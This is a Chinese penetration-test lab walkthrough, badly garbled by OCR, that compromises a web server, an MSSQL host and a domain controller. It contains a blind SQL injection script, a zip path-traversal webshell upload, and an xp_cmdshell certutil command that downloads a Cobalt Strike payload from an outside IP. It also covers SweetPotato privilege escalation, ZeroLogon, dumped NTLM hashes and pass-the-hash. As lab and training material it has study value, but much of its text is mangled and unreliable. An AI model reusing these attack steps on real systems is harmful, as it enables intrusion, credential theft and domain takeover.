E2E 2T REI=EAM - St X

1‘ IﬁEﬂ—E:

ARINEELGEIEMNSA RERNERT, NERETESEMS, MINNITRZIAMEDSE, RERIRNEDNAMNINR, %
TEHEF=ERIEANSTE, 2FIFEZMMAMSZERAR, cobalt strike ERANFEZF#ETHE, HEFIANAETEF ALK
BRT, FE exp FEULREKAENARN, FANBINNZTNT 2%, 2IETWRTHARZIENRNE, I DARFER
BEEE,

2.VPS M5t

1. %% ip BEIEIAN, EAWN vps {EREE frp TEM frps.ini i&1T frps.exe —c frps.ini

ent login info:

rch [an
register control error: token in login do

Lient login info: ip

token in login do

ient login info: ip

(https://xzfile.aliyuncs.com/media/upload/picture/20220607202857-66c8cfab-e65d-1.png)

£ web1 EEEE frpc.ini 1817 frpc.exe —c frp.ini

C:\frp>frpc -c¢ frpc.ini
2022/05/30 21:57:35 [I] [seruvice.go:304] [28056635ebbdebc3] login to seruver succ
get run id [28056635ebbdebc3], server udp port [0]

2022/05/30 21:57:35 [I] [proxy_manager.go:144] [28056635ebbdebc3] proxy added: [
javaweb2 javaweb3]

2022/05/30 21:57:35 [I] [control.go:180] [28056635ebbdebc3] [javaweb2] start pro
Xy success

2022/05/30 21:57:35 [I] [control.go:180] [28056635ebbdebc3] [javaweb3] start profg
Xy success

(https://xzfile.aliyuncs.com/media/upload/picture/20220607202909-6dcb6ed0-e65d-1.png)
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{EF nmap #H{TIHORM, KI 4444, 5003, 8088, 8899, 8878 ikxOFF .
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Nmap »: 1 IP address (1 host up) scanned in 1.98 seconds
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SERGHEE:  https://github.com/amateur—RD/netBank—System (https://github.com/amateur—-RD/netBank-System)

& amateur-RD/ netBank-System i

<3 Code (D) bmsues I Pullrequests () Actions [ Projects OO Wiki (D Secwrity | Insights

P master = P lbranch ©0tags

ot

@ smateur-RD Update READMEma vasesas ond Apr2018 (D21 commits

| settings add retlank system 4 years ago
B WebContent add netBank system 4years ago
I buid/classes add netBank system 4 years 390
| demo Akl fibess via uplodsd A yeus 3o
. s add netllank system 4years ago
O .classpath add netBank system 4 years a0
O project add retBank system 4 bt 30
[ READMEmd Update README md dyears ago
[ banicsgl banicsgl S years ago
= READMEmd
netBank-System

netBank(f HR{TRE), ERELSESAFIERESME. EHE: SWE&ES (5N, e SEns
A) . EETRER. ST, W WERS: T L SN, ENEn, FE

FRIR

* Language

L rovfications

Abaut

netBank(f HE{TRET), EREDSHE
AEEERE AR, EEA: B
P (b, Bs. RSHSA) O B
WERCR, SNEE. T8 &
[SHE S A
.

M Aeadme

1 36 stars

@ 2watching

Y 38 forks

Releases

Ha relnase published

Packages

N packsges published

Languages

® Jea7I0N @ £S5250%

(https://xzfile.aliyuncs.com/media/upload/picture/20220607203504-41bf0a76-e65e—-1.png)

ROT—TEEEXY, A-LEERFNEEARFNKFES,

Y R
2 Records of account

13 TTTTTTST T T T T TR ET T

34 | mserr 0 “account” VALUES ('1°, "1916841135°, '123456°, "1200.8@°, "1°);
35 | mserr “account VALUES ('2°, 'BI2LI931', 12356, '1800.00°, '1');
35 | mserr o “secouae "B1Z1IEPR1', 123456, '1099.08, '1');
37 “ecouar” "B1Z110902°, 113456, '1099.08°, '1');
] “account” ‘BAZINERE3', 1234567, ‘199,00, '1');
] “mocount” VALUES ('67, CELZII@0B4', '123456°, '100R.00°, '1');
a | Do “mecouse” VALUES (77, "BI2110005', "123456', 1008.00°, '1');
41| INSERT INTO “mccoust” VALUES ('8, 'BAZ119906°, '123456', '1000.00°, '1');
42| INSERT INTO “account’ VALUES (9%, 'BAZ119997°, '123456', '1099.00°, '1');
43 | INSERT INTO “mceoust’ VALUES {'10°, 'B12118008', '133456', ‘1880.80°, '1');
a4 | INSERT INTO “meeoumt™ VALUES (*11°, 'B12118000°, '123456°, ‘1800.0°, '1°);
a5 | INSERT INTO “mccoumt™ VALUES ('18°, ‘B12118913°, '1234%6°, ‘Sd0.0a°, '1');
48

S

48 - Table structure for admin

43 == ereeseseesesemesssseses

50 DROP TABLE IF EXISTS “odamin’;
51 CREATE TABLE "sdsin”™ |

52 00 int(4) NOT NULL AUTO_THCREMENT,

53 “username” varchar{38) DEFAULT WULL,

54 “pasgword” varchar(30) DEFAULT WJLL,

55 PRIMARY KEV (“id")

56 ) ENGINE=InnoDE AUTO_INCREMENT=Z DEFAULT CHARSETeutfB;
57

BE  cn eeeccemscesssssssssssnesses

59 - Records of adedn

&

&1| INSERT INTO “admin” WALUES (*1°, ‘sdedn’, *1E3436'); I
B2

(3]

64 -- Table structure for personinfo

T

£5  OROP TABLE IF EXISTS ~personinfo’;

67  CREATE TABLE ~personinfo’ (

=] “ig' int{&} MOT MULL AUTO_TNCREMENT,
] “accountid® int(4) DEFAULT MULL,
kL] realname’

rehar{S8) DEFAULT NULL,

(https://xzfile.aliyuncs.com/media/upload/picture/20220607203453-3b5fae38-e65e—1.png)
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File Actions Edit View Help
] POST parameter 'admir ' does T appear to nic
] heuristic ) test shows that POST parameter 'admin.password' might not be injectable
¥ o f

:
(basic) test show
L inj 1

er L) - 1 10 column
pe’ does not seem to be injectable
t ar to be in able,
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4. wWEHIZAEBIT sql iIEA

import requests
password=""
url="[http://x.x.x.x:8878/admin/login"](http://103.121.93.206:8878/admin/login")
payload="0123456789abcdefghijklmnopgrstuvwxyz"
password=""
for i in range(1,20):
for j in payload:
exp = "admin' and(select substring(password,%s,1) from Admin) like '%s’
or '1'="" %(i,j)
print("EFEEAN")
data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
req = requests.post(url=url, data=data);
if "BEBAER" in req.text:
password+=j
break

print(password)

RINBLERS. REHITER.
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[111]1399999999 | 1| HBLEIE S | admin | admin | 17D03DA6474CESBEB13B01E79F789E63 | 2022-04-09 00:14:08 |
301 |

[612]]1]]eul|eul|4124DDEBABDF97C2430274823B3184D4 (eud) | 2014-05-17 13:58:49 | 14
BRIhiNEI T EE R AP AR, AEER mds #ITERE,

17D03DA6474CESBEB13BO1E79F789E63

N

@M HASH[17D03DA6474CESBERB13B01E79F789E63] 2=t R:
8324 : moonsec123
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6.Jspxcms-SQL JEA
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package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
public static void main(String[] args)throws Exception {
byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
SHA1CredentialsDigest test = new SHAlCredentialsDigest();
String fileName = "D:\\csdnpass.txt";
String fileName2 = "D:\\hashpassword2.txt";
try (Scanner sc = new Scanner(new FileReader(fileName))) {
while (sc.hasNextLine()) {
String line = sc.nextLine();
String encPass = test.digest(line, salt);
File f = new File(fileName2);
FileWriter fw = new FileWriter(f, true);
PrintWriter pw = new PrintWriter(fw);

pw.println(line +
pw.close();

+ encPass);

(https://xzfile.aliyuncs.com/media/upload/picture/20220607203842-c3ad090c-e65e-1.png)
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9. w5 B FREFHRMZA

RIBSCAEXAARIRLNTE, RS ERFHEA,

import zipfile
zip = zipfile.ZipFile("test.zip”, 'w',zipfile.ZIP_DEFLATED)
with open("god.war”,"rb™) as f:
data=f.read();
zip.writestr("../../../god.war" ,data)
zip.close()
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10. 3XEY webshell

{EASERDESE webshell, IIHITHL .
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{#F shell iponfig IKEEEE.,

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204442-99f05b0e-e65f-1.png)

RIBEZAININAME, RENE—T5EMERENNEEE.

hell ping —4 server2012
[*] Tasked beacoen to run: ping —4 server2012
[+] host called home, sent: 49 bytes

[+] received output

IEZE Ping server2012 [192.168.1.25] BEH 32 FHAIEE:

#H 192.168.1. F=32 B E<las TTL=128
¥H 192.168.1.25 MIEIE : FH=32 B TTL=128
¥H 192.168.1.25 WEIE: FH=32 BN TIL=128
¥E 192.168.1.25 1 FH=32 B TTL=128

192.168.1.25 # Ping Hit {5 R :

[WEB1] Administrator */1928

beacon>

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204448-9de227d8-e65f-1.png)

EFITEMNSA.



eacon* shell net config workstation

[*] Tasked beacon to rumn: net config workstation

[+] host called home, sent: 53 bytes

[+] received output:
HELE \\NEB1
itHE 42 webl

P Administrator

TEs AT T
NetBT_Tepip_{D02BAI9B—C14R—411C-A395-09RCISDTEBRT) (000C295C545C)

R A Windows Server 2012 R2 Standard

TAEsE R WOREGROUP
WEE1

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204455-a1da02f2-e65f-1.png)

£/ net view EHEHAEEEMN, RIFEEHFIEMEN.

[*] Tasked beacon to run: net view
[+] host eallad home, sent: 39 bytes

] received output

shell net group " domain contrellers” /demain

Tasked be » run: net group ~demain controllers” /demain

[+] host called , sent: T0 byrtes

] received sutput

WRGEM WOREGROUP fybii iRt =.

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204502-a618f13e—e65f-1.png)

4. FRAE#TIROHE



help.txt [Help][RO]

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204511-ab62877c-e65f-1.png)

&EE server2012 H IP ik,

IE#E Ping server2012 [192.168.1.25] HH 32 FHRIEIE:
FE 192.168.1.25 MEISE:

FH 192.168.1.25 MIEIE:

¥H 192.168.1.

¥H 192.168.1.

192.168.1.25 I

e
HETENGST i
BE = 0as, B

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204517-aeffab80-e65f-1.png)

5. BAEHin O35



ir

gnu/li

1 IP address (1 host up)

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204524-b2f1c868-e65f-1.png)

RUTFTE 1433—Mysql BIRO, =A#ITEOSTHRNER,
RUF FUINIRIR K S 14D,

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204530-b68f0ed6-e65f-1.png)

6.mssqlclient &3 Mssql IRS523

A mysql AFMZBHRTER.




sult: o f rver (110 1256)
help for extr

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204536-ba848bc4-e65f-1.png)

7.xp_cmshell #1T getshell

help EF R HATHRLR S

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204543-be7f9610-e65f-1.png)

FFE xp_cmdshell, $AEEITEEUE.

NULL

H ; 81fb:
TPVA ISR iv » v v 0. 0. 5.0 5000 2r10:10:10.136
TREW . s st s leian 25
HU@x.
NULL
i il i

NULL

NULL

i iE i3 iC B2

NULL

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204551-c374bba0-e65f-1.png)



R certutil TR THZAINAD, AEHITLE
xp_cmdshell certutil —urlcache —split —f http://39.103.134.134/artifact.exe (http://103.121.92.154/artifact.exe)

c:/windows/temp/artifact.exe

CertUtil: =URLCache

NULL

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204620-d4c0fe00-e65f-1.png)

8. {§ SweetPotato (ms16-075) 124X

EH2ZE, #ITEHBNEREE.

| Cabalt Strike - a x
s Cobalt Strike FME(V) WERA) BE(R) BENH)
DR O S B8 PU el ca B

external internal =~ listener user computer note Process pid arch last
2 127.0.01 192.168.1.24 hitp WEB1
. 127.0.01 192.168.1.25 hitp

Administrator * artifact.exe

(AT x| BoFE x | Beacon 1921681 24@1928

] Administrator */1928 (zf4 last: 8lms

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204628-d93d1450-e65f-1.png)



REERE=H1EH, TR SweetPotato (ms16-075) B EHITIEI,

E
| Cobalt Strike: FE(V) IEH(A) RER) AHH)
O O E=¢ 8 PU Gl ca Ba

external ntemal listener user computer note process pid arch last
K2 127001 192 168.1.24 http Administrator *  WEB1 artifact exe 1928 w64 25
- 127001 192.168.1.25 htip MSSQLSERVER SERVER2012 artifact exe 2228 x64 29s

| FHEE x | E0FE X | Beacon 192.1668.1.24@1928 X | Beacon 192.168.1.25@2228 X . MEEEE X |

) via Sexvice Control Manager
[+] heszt called heme, =ent
could not upload file: 5§
Could not cpen servi ontrol manager em . : 5

*] Task Beacon to run windows/beacon_http/reverse_http (39, 103,134,134 SwestPotate

[SBRVBR2012] MSSQLSERVER/2228 ; last: 29s
P

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204636-dde97b4c-e65f-1.png)

BRIhERAR .

W Cobalt Strike - U b4
Cobalt Strike FIE(V) IREA) BER) FENH)
QR O E=¢ 8PU el fFa A

external internal = listener user computer note process pid arch last
2 127.0.01 192.168.1.24 hitp Administrator * WEB1 artifact.exe 1928 x64 456ms
Bl 127.001 192.168.1.25 hiip MSSQLSERVER SERVER2012 artifact exe 2228 X654 24s
. 127.0.01 192.168.1.25 hittp SYSTEM * SERVER2012 werfault.exe 2928 64 235

¥fHEFE x | Bofg X | Beacon 192.168.1.24@1928 X | Beacon 192.168.1.25@2228 X | BA-E3BEE X | Beacon 192.168.1.25@2928 X

sleep 0

Tasked beacon to become interactive

[SBRVER2012] SYSTBM */2928 (:64 last: 23s

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204645-e3bb6648-e65f-1.png)



1. ARIEE 2SR

fEF8 net view EFHAEN..

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204654-e8d8eb3c—e65f-1.png)

{£FA hashdump #FH{THMEXN—LLEFAF R hash &,

[SERVERZ012) SYSTHM /2928 last: 28

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204700-ecafee36-e65f-1.png)

EEEM ip Hbtlt,

IPed MGE . ... ... ...
TFER

ELAFIERER Bthernetl:

EREWEN NS SR

Ao TPe6 MEE . .. ... L
TPed fGE . ... ... ...
THRER

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204716—f5f3657c—e65f-1.png)

EEGIEM Ip dht, FSRAITENE.



> met delist

Tasked beacon to run net delist

[+] host called home, sent: 105059 bytes

[+] received cutput
DCs:

[+] received cutput

Sexver Hame IP Address Platfozm Version Trpe Comment

[+]_received cutout

ADO1 10.10.10.139

| rsBrvR2012] svsTeu */2928

bea

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204725-ftb2df6ec-e65f-1.png)

Windows IP BEE

: secl23. enk

lan

[SERVER2012] SYSTEM */2928

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204729—fdab74d0-e65f-1.png)

2.ZeroLogon CVE-2020-1472 FXEXE =R

#RiE zerolgin KAL) exe, REHTME, RMENFEZRE.

cute—aszenbly Sh
to run . NET
led heme, sent: 114761 bytes
ved cutput

Ferf g suthentication attempts...

[+] received output:

8 D¢ can be fully compromised by a Zerologem attack.

[SERVER2012) SYSTBM #/2928

P 7714
(https://xzfile.aliyuncs.com/media/upload/picture/20220607204736-01d6f5ca—e660-1.png)

BERENTHIE, 31d6cfe0d16ae931b73c59d7e0c089c0



g authentication atte

can be fully comp

ne ace t

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204743-0611437a-e660-1.png)

3. BREMRE, EFigHx

& kali (OMCIEMNE, AEHITIROAME, MARERSERE.

STATE S
p open k

11IP

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204751-0aa4d6ae-e660-1.png)

SREVEIZHY hash fE,

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204758-0eec512e-e660-1.png)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a7700755074:::



Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaabac8b6f80986¢c765d6d:::
sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717¢6c405937406f8e0a02a7215b16:::

ADO01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢c0:::
SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595¢993831ce5944e95:::
REHTEREIE,

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204805-137cd920-e660-1.png)

4.PTH E£% CS

XARGXEE, FUR pth #1T L% cs,

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204811-16e59d36-e660-1.png)

BINHATE L.



beacon> shell dir 0.10.10.139\c$
(*] Tasked beacon to run: dir
[+] host called home, sent

received ocutput

Perflogs
/04/08 1% D Program Files
/04/08 15: Program Files (x86)
J04/08 4 3 Users

S06/03 { Windows
0
B 51, 025,559, 552 AT

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204819-1b6218da—-e660-1.png)

ARY tep S50, AFF jump BUEHEEA.

s 10.10.10.139

R 127001 192 168 .1.24 hilp Adrmunistrator * WEB1 artifact exg 1928
L 127001 192.168.1.25 hittp MSSOLSERVER SERVERZ012 artifact exe 2228
i 127.001 192.168.1.25 hittp SYSTEM* SERVER2012 werfaull exe 2928

LEFE X | Beacon 102.168124@1928 X | Beacon 102168125@2228 X | MIAHEE x | Beacon 192168125@2028 X | WoRgEE x | MRS x

} en 10.10.10.139 via Service Comtrol

} en 10.10.10.139 ntrol Manager (

n_bind_tcp (0 on 10. 10,10, 13

[SERVER2012] SYSTEM */2928

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204825-1f28165e—-e660-1.png)

5. xS %5, | hash,



called home, sent: 69 bytes

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204832-231c893e-e660-1.png)

{3 secretsdump.py SXKEXE hash {&,
python3 secretsdump.py —sam sam.save —system system.save —security

security.save LOCA

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204840-28224e00-e660-1.png)

{#F: proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139
fb61e3c372e666adcch7a820aa39772f REIFITZME, MINREHZI,



(https://xzfile.aliyuncs.com/media/upload/picture/20220607204847-2c83f962-e660-1.png)

ENEXEMERT .

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204854-30991320-e660-1.png)

RE, BHETEMER,



SYSTRM * SYSTEM *
" SBRVER2012 @ 2928 ADOL © 864

o

Administrater *
WBEL1 @ 1928

*
*s
—

MSSQLSERVER
SERVER2012 @ 2228

(https://xzfile.aliyuncs.com/media/upload/picture/20220607204902-356bf340-e660-1.png)

ZIMBEMIEEE, 8 vps 3§ webl MG EIAM £, BIEEWE, ERFL, AEDWEB, #1T sql EA. &S sql
FEANBARRITEN, BEOMERIRIREBRESINZRHA, ERFS BREMHIAKINZREY webshell, ZERMBER, #FA frpo &
ECEE L4 cs, {8 xp_cmdshell #1T getshell, fEEZEHR{ER CVE-2020-1472 SREUFIZINR . XA LN AIREERER, (B

EMIRITREANSE, BRESEPNMIRERIERT M.
FEANSRIR: B B UT{E sec123 $E4L



